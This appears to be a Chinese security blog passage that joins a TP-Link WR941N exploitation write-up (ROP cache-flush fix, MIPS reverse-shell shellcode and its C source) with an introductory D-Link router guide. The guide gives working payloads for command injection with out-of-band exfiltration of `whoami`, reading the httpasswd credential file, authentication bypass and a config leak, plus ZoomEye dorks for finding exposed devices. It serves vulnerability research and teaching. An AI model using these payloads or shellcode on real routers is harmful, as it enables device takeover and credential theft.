这个坑点在那篇文章中也提及了,但是没具体说明,如果没实际踩一踩,不一定能理解。但是讲道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,应该是不会遇到这个坑的,但是我仍然遇到了,经过研究发现,是usleep的问题,猜测是由于堵塞的时间过短所以未执行flush?然后进行实际测试了一番,把usleep的时间修改为
18217
,同样没用,然后简单看了下两者的汇编,发现usleep只是简单的调用nanosleep,而sleep除了调用nanosleep还进行其他相关的操作,网上没搜到相关文章,因为精力有限,作为遗留问题,以后有时间的时候再继续研究。不过有几个猜测,
- 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明
- flush内存是靠sleep中的几个信号相关的函数?
所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2+1),但是我将usleep改成sleep => sleep(0xc*2+1),数据缓存被成功flush到主内存中,就能成功执行shellcode了
Shellcode编写
在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分
首先是syscall部分,比如:
1<ol class="linenums"><li class="L0"><code><span class="pln">li $v0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">4183</span></code></li><li class="L1"><code><span class="pln">syscall </span><span class="lit">0x40404</span></code></li><li class="L2"><code><span class="com"># sys_socket</span></code></li></ol>- mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是
\x0c
,剩余的三字节默认用\x00
补全,但是因为路由器不接受\x00
的输入,所以在大端的情况下改成\x01\x01\x01\x0c
,进行反汇编,就是syscall 0x40404
系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
比如
sys_socket
:1<ol class="linenums"><li class="L0"><code><span class="com">#define</span><span class="pln"> __NR_Linux </span><span class="lit">4000</span></code></li><li class="L1"><code><span class="com">#define</span><span class="pln"> __NR_socket </span><span class="pun">(</span><span class="pln">__NR_Linux </span><span class="pun">+</span><span class="pln"> </span><span class="lit">183</span><span class="pun">)</span></code></li></ol>所以
$v0=4183
表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html1<ol class="linenums"><li class="L0"><code><span class="kwd">int</span><span class="pln"> sys_socket</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> family</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> protocol</span><span class="pun">)</span></code></li></ol>现在,先用c来实现一遍反连shell的代码:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ cat test</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L1"><code><span class="com">#include</span><span class="str"><stdlib.h></span></code></li><li class="L2"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><sys/socket.h></span></code></li><li class="L3"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><netinet/in.h></span></code></li><li class="L4"><code><span class="com">#include</span><span class="pln"> </span><span class="str"><unistd.h></span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">int</span><span class="pln"> main</span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> sockfd</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> sockfd </span><span class="pun">=</span><span class="pln"> socket</span><span class="pun">(</span><span class="lit">2</span><span class="pun">,</span><span class="lit">2</span><span class="pun">,</span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr_in addr</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_family </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_port </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0x3039</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> addr</span><span class="pun">.</span><span class="pln">sin_addr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0xc0a80164</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> connect</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">addr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">addr</span><span class="pun">))</span></code></li><li class="L5"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L7"><code><span class="pln"> dup2</span><span class="pun">(</span><span class="pln">sockfd</span><span class="pun">,</span><span class="pln"> </span><span class="lit">2</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> execve</span><span class="pun">(</span><span class="str">"//bin/sh"</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pun">}</span></code></li></ol>和其他架构不一样,mips架构中,tcp是2,udp是1
所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连
还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理
然后把上面代码转换成mips指令的汇编
但是有个问题,之前说了该路由器不接收
\x00
和\x20
两个字符,而上面的汇编转换成字节码:1<ol class="linenums"><li class="L0"><code><span class="pln">nor $a0</span><span class="pun">,</span><span class="pln">$t7</span><span class="pun">,</span><span class="pln">$zero </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\x01\xe0\x20\x27"</span></code></li></ol>所以要把这句指令进行修改, 因为
$a0
和$a1
的值都为2,所以可以这样修改:1<ol class="linenums"><li class="L0"><code><span class="pln">sw $a1</span><span class="pun">,-</span><span class="lit">1</span><span class="pun">(</span><span class="pln">$sp</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\xaf\xa5\xff\xff"</span></code></li><li class="L1"><code><span class="pln">lw $a0</span><span class="pun">,-</span><span class="lit">1</span><span class="pun">(</span><span class="pln">$sp</span><span class="pun">)</span><span class="pln"> </span><span class="pun">=></span><span class="pln"> </span><span class="str">"\x8f\xa4\xff\xff"</span></code></li></ol>把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现
sh
已经变为僵尸进程经研究,问题出在
execve("/bin/sh",0,0)
,如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)
则成功反弹shell,可以任意命令执行参考链接
- https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
- https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
- http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
- https://www.kanxue.com/article-read-218.htm
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h
- http://asm.sourceforge.net/syscall.html
- https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h
-
D-Link系列路由器漏洞挖掘入门
作者:Sebao@知道创宇404实验室
前言
前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们。所以回来就决定好好研究一下路由器,争取跟上大神们的步伐。看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。
准备工作
既然要挖路由器漏洞,首先要搞到路由器的固件。
D-Link路由器固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/
下载完固件发现是个压缩包,解压之后里面还是有一个bin文件。听说用binwalk就可以解压。kali-linux自带binwalk,但是缺少一些依赖,所以还是编译安装了一下。
1<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> update </span></code></li><li class="L1"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install build</span><span class="pun">-</span><span class="pln">essential autoconf git </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com"># https://github.com/devttys0/binwalk/blob/master/INSTALL.md </span></code></li><li class="L4"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/binwalk.git </span></code></li><li class="L5"><code><span class="pln">$ cd binwalk </span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com"># python2.7安装 </span></code></li><li class="L8"><code><span class="pln">$ sudo python setup</span><span class="pun">.</span><span class="pln">py install </span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com"># python2.7手动安装依赖库 </span></code></li><li class="L1"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">lzma </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">crypto </span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install libqt4</span><span class="pun">-</span><span class="pln">opengl python</span><span class="pun">-</span><span class="pln">opengl python</span><span class="pun">-</span><span class="pln">qt4 python</span><span class="pun">-</span><span class="pln">qt4</span><span class="pun">-</span><span class="pln">gl python</span><span class="pun">-</span><span class="pln">numpy python</span><span class="pun">-</span><span class="pln">scipy python</span><span class="pun">-</span><span class="pln">pip </span></code></li><li class="L6"><code><span class="pln">$ sudo pip install pyqtgraph </span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install python</span><span class="pun">-</span><span class="pln">pip </span></code></li><li class="L9"><code><span class="pln">$ sudo pip install capstone </span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com"># Install standard extraction utilities(必选) </span></code></li><li class="L2"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install mtd</span><span class="pun">-</span><span class="pln">utils gzip bzip2 tar arj lhasa p7zip p7zip</span><span class="pun">-</span><span class="pln">full cabextract cramfsprogs cramfsswap squashfs</span><span class="pun">-</span><span class="pln">tools </span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com"># Install sasquatch to extract non-standard SquashFS images(必选) </span></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install zlib1g</span><span class="pun">-</span><span class="pln">dev liblzma</span><span class="pun">-</span><span class="pln">dev liblzo2</span><span class="pun">-</span><span class="pln">dev </span></code></li><li class="L6"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/sasquatch </span></code></li><li class="L7"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd sasquatch </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">./</span><span class="pln">build</span><span class="pun">.</span><span class="pln">sh</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="com"># Install jefferson to extract JFFS2 file systems(可选) </span></code></li><li class="L0"><code><span class="pln">$ sudo pip install cstruct </span></code></li><li class="L1"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/sviehb/jefferson </span></code></li><li class="L2"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd jefferson </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com"># Install ubi_reader to extract UBIFS file systems(可选) </span></code></li><li class="L5"><code><span class="pln">$ sudo apt</span><span class="pun">-</span><span class="kwd">get</span><span class="pln"> install liblzo2</span><span class="pun">-</span><span class="pln">dev python</span><span class="pun">-</span><span class="pln">lzo </span></code></li><li class="L6"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/jrspruitt/ubi_reader </span></code></li><li class="L7"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd ubi_reader </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="com"># Install yaffshiv to extract YAFFS file systems(可选) </span></code></li><li class="L0"><code><span class="pln">$ git clone https</span><span class="pun">:</span><span class="com">//github.com/devttys0/yaffshiv </span></code></li><li class="L1"><code><span class="pln">$ </span><span class="pun">(</span><span class="pln">cd yaffshiv </span><span class="pun">&&</span><span class="pln"> sudo python setup</span><span class="pun">.</span><span class="pln">py install</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com"># Install unstuff (closed source) to extract StuffIt archive files(可选) </span></code></li><li class="L4"><code><span class="pln">$ wget </span><span class="pun">-</span><span class="pln">O </span><span class="pun">-</span><span class="pln"> http</span><span class="pun">:</span><span class="com">//my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv </span></code></li><li class="L5"><code><span class="pln">$ sudo cp bin</span><span class="pun">/</span><span class="pln">unstuff </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="kwd">local</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span></code></li></ol>按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。
然后用binwalk -Me 固件包名称
解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root
文件夹,就是路由器的完整固件包。漏洞挖掘
此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在
suashfs-root/www
或者suashfs-root/htdocs
文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。D-Link DIR-645 & DIR-815 命令执行漏洞
Zoomeye dork: DIR-815 or DIR-645
这里以 D-Link DIR-645固件为例,解开固件进入
suashfs-root/htdocs
文件夹。这个漏洞出现在
diagnostic.php
文件。直接看代码1<ol class="linenums"><li class="L0"><code><span class="pln">HTTP</span><span class="pun">/</span><span class="lit">1.1</span><span class="pln"> </span><span class="lit">200</span><span class="pln"> OK</span></code></li><li class="L1"><code><span class="typ">Content</span><span class="pun">-</span><span class="typ">Type</span><span class="pun">:</span><span class="pln"> text</span><span class="pun">/</span><span class="pln">xml</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pun"><?</span></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"act"</span><span class="pun">]</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="str">"ping"</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">set</span><span class="pun">(</span><span class="str">"/runtime/diagnostic/ping"</span><span class="pun">,</span><span class="pln"> $_POST</span><span class="pun">[</span><span class="str">"dst"</span><span class="pun">]);</span></code></li><li class="L7"><code><span class="pln"> $result </span><span class="pun">=</span><span class="pln"> </span><span class="str">"OK"</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li><li class="L9"><code><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"act"</span><span class="pun">]</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="str">"pingreport"</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> $result </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">get</span><span class="pun">(</span><span class="str">"x"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"/runtime/diagnostic/ping"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">echo </span><span class="str">'<?xml version="1.0"?>\n'</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pun">?><</span><span class="pln">diagnostic</span><span class="pun">></span></code></li><li class="L5"><code><span class="pln"> </span><span class="str"><report></span><span class="pun"><?=</span><span class="pln">$result</span><span class="pun">?></</span><span class="pln">report</span><span class="pun">></span></code></li><li class="L6"><code><span class="pun"></</span><span class="pln">diagnostic</span><span class="pun">></span></code></li></ol>分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,
set("/runtime/diagnostic/ping", $_POST["dst"]);
这段代码就是造成漏洞的关键代码。参数dst
没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看$result = "OK";
无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload1<ol class="linenums"><li class="L0"><code><span class="pln">url </span><span class="pun">=</span><span class="pln"> </span><span class="str">'localhost/diagnostic.php'</span></code></li><li class="L1"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">"act=ping&dst=%26 ping `whoami`.ceye.io%26"</span></code></li></ol>因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。
D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息泄露漏洞
Zoomeye dork:DIR-300 or DIR-600
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/www
文件夹。漏洞出现在
/model/__show_info.php
文件。1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="kwd">if</span><span class="pun">(</span><span class="pln">$REQUIRE_FILE </span><span class="pun">==</span><span class="pln"> </span><span class="str">"var/etc/httpasswd"</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $REQUIRE_FILE </span><span class="pun">==</span><span class="pln"> </span><span class="str">"var/etc/hnapasswd"</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> echo </span><span class="str">"<title>404 Not Found</title>\n"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> echo </span><span class="str">"<h1>404 Not Found</h1>\n"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pun">}</span></code></li><li class="L6"><code><span class="kwd">else</span></code></li><li class="L7"><code><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$REQUIRE_FILE</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">require</span><span class="pun">(</span><span class="pln">$LOCALE_PATH</span><span class="pun">.</span><span class="str">"/"</span><span class="pun">.</span><span class="pln">$REQUIRE_FILE</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> echo $m_context</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> echo $m_context2</span><span class="pun">;</span><span class="com">//jana added</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$m_context_next</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> echo $m_context_next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln"> echo </span><span class="str">"<br><br><br>\n"</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$USE_BUTTON</span><span class="pun">==</span><span class="str">"1"</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">{</span><span class="pln">echo </span><span class="str">"<input type=button name='bt' value='"</span><span class="pun">.</span><span class="pln">$m_button_dsc</span><span class="pun">.</span><span class="str">"' onclick='click_bt();'>\n"</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code><span class="pun">?></span></code></li></ol>这里看到已经禁止了
$REQUIRE_FILE
的参数为var/etc/httpasswd
和var/etc/hnapasswd
。这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd
的路径,就可以绕过这个过滤了。payload:
1<ol class="linenums"><li class="L0"><code><span class="pln">localhost</span><span class="pun">/</span><span class="pln">model</span><span class="pun">/</span><span class="pln">__show_info</span><span class="pun">.</span><span class="pln">php</span><span class="pun">?</span><span class="pln">REQUIRE_FILE</span><span class="pun">=</span><span class="str">/var/</span><span class="pln">etc</span><span class="pun">/</span><span class="pln">httpasswd</span></code></li></ol>这里设置
REQUIRE_FILE=/var/etc/httpasswd
成功绕过上面的 if判断,进行任意文件读取。D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞
Zoomeye dork:DIR-300 or DIR-615
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/www
文件夹默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:
1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="pln">$MY_NAME </span><span class="pun">=</span><span class="str">"login_fail"</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">$MY_MSG_FILE</span><span class="pun">=</span><span class="pln">$MY_NAME</span><span class="pun">.</span><span class="str">".php"</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">$NO_NEED_AUTH</span><span class="pun">=</span><span class="str">"1"</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">$NO_SESSION_TIMEOUT</span><span class="pun">=</span><span class="str">"1"</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/model/__html_head.php"</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pun">?></span></code></li></ol>此漏洞触发的原因在于 全局文件
_html_head.php
。1<ol class="linenums"><li class="L0"><code><span class="pun"><?</span></code></li><li class="L1"><code><span class="com">/* vi: set sw=4 ts=4: */</span></code></li><li class="L2"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$NO_NEED_AUTH</span><span class="pun">!=</span><span class="str">"1"</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="com">/* for POP up login. */</span></code></li><li class="L5"><code><span class="com">// require("/www/auth/__authenticate_p.php");</span></code></li><li class="L6"><code><span class="com">// if ($AUTH_RESULT=="401") {exit;}</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">/* for WEB based login */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/auth/__authenticate_s.php"</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"401"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/login.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"full"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/session_full.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">$AUTH_RESULT</span><span class="pun">==</span><span class="str">"timeout"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/session_timeout.php"</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">exit</span><span class="pun">;}</span></code></li><li class="L2"><code><span class="pln"> $AUTH_GROUP</span><span class="pun">=</span><span class="pln">fread</span><span class="pun">(</span><span class="str">"/var/proc/web/session:"</span><span class="pun">.</span><span class="pln">$sid</span><span class="pun">.</span><span class="str">"/user/group"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code><span class="kwd">require</span><span class="pun">(</span><span class="str">"/www/model/__lang_msg.php"</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pun">?></span></code></li></ol>这里我们看到
$NO_NEED_AUTH!="1"
如果$NO_NEED_AUTH
不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH
值 设置为 1 那就绕过了认证进行任意操作。payload:
localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
这里
AUTH_GROUP=0
表示admin权限D-Link DIR-645 信息泄露漏洞
Zoomeye dork:DIR-645
这里以 D-Link DIR-300固件为例,解开固件进入
suashfs-root/htdocs
文件夹D-Link DIR-645
getcfg.php
文件由于过滤不严格导致信息泄露漏洞。1<ol class="linenums"><li class="L0"><code><span class="pln">$SERVICE_COUNT </span><span class="pun">=</span><span class="pln"> cut_count</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">],</span><span class="pln"> </span><span class="str">","</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">TRACE_debug</span><span class="pun">(</span><span class="str">"GETCFG: got "</span><span class="pun">.</span><span class="pln">$SERVICE_COUNT</span><span class="pun">.</span><span class="str">" service(s): "</span><span class="pun">.</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">]);</span></code></li><li class="L2"><code><span class="pln">$SERVICE_INDEX </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L3"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$SERVICE_INDEX </span><span class="pun"><</span><span class="pln"> $SERVICE_COUNT</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> $GETCFG_SVC </span><span class="pun">=</span><span class="pln"> cut</span><span class="pun">(</span><span class="pln">$_POST</span><span class="pun">[</span><span class="str">"SERVICES"</span><span class="pun">],</span><span class="pln"> $SERVICE_INDEX</span><span class="pun">,</span><span class="pln"> </span><span class="str">","</span><span class="pun">);</span></code></li><li class="L6"><code><span class="pln"> TRACE_debug</span><span class="pun">(</span><span class="str">"GETCFG: serivce["</span><span class="pun">.</span><span class="pln">$SERVICE_INDEX</span><span class="pun">.</span><span class="str">"] = "</span><span class="pun">.</span><span class="pln">$GETCFG_SVC</span><span class="pun">);</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$GETCFG_SVC</span><span class="pun">!=</span><span class="str">""</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> $file </span><span class="pun">=</span><span class="pln"> </span><span class="str">"/htdocs/webinc/getcfg/"</span><span class="pun">.</span><span class="pln">$GETCFG_SVC</span><span class="pun">.</span><span class="str">".xml.php"</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="com">/* GETCFG_SVC will be passed to the child process. */</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isfile</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">)==</span><span class="str">"1"</span><span class="pun">)</span><span class="pln"> dophp</span><span class="pun">(</span><span class="str">"load"</span><span class="pun">,</span><span class="pln"> $file</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> $SERVICE_INDEX</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol>这里我们可以看到
$GETCFG_SVC
没有任何过滤直接获取了 POST 传递过来的SERVICES
的值。如果$GETCFG_SVC
不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php
文件。payload:
1<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//localhost/getcfg.php</span></code></li><li class="L1"><code><span class="pln">post</span><span class="pun">:</span><span class="pln">SERVICES</span><span class="pun">=</span><span class="pln">DEVICE</span><span class="pun">.</span><span class="pln">ACCOUNT</span></code></li></ol>总结
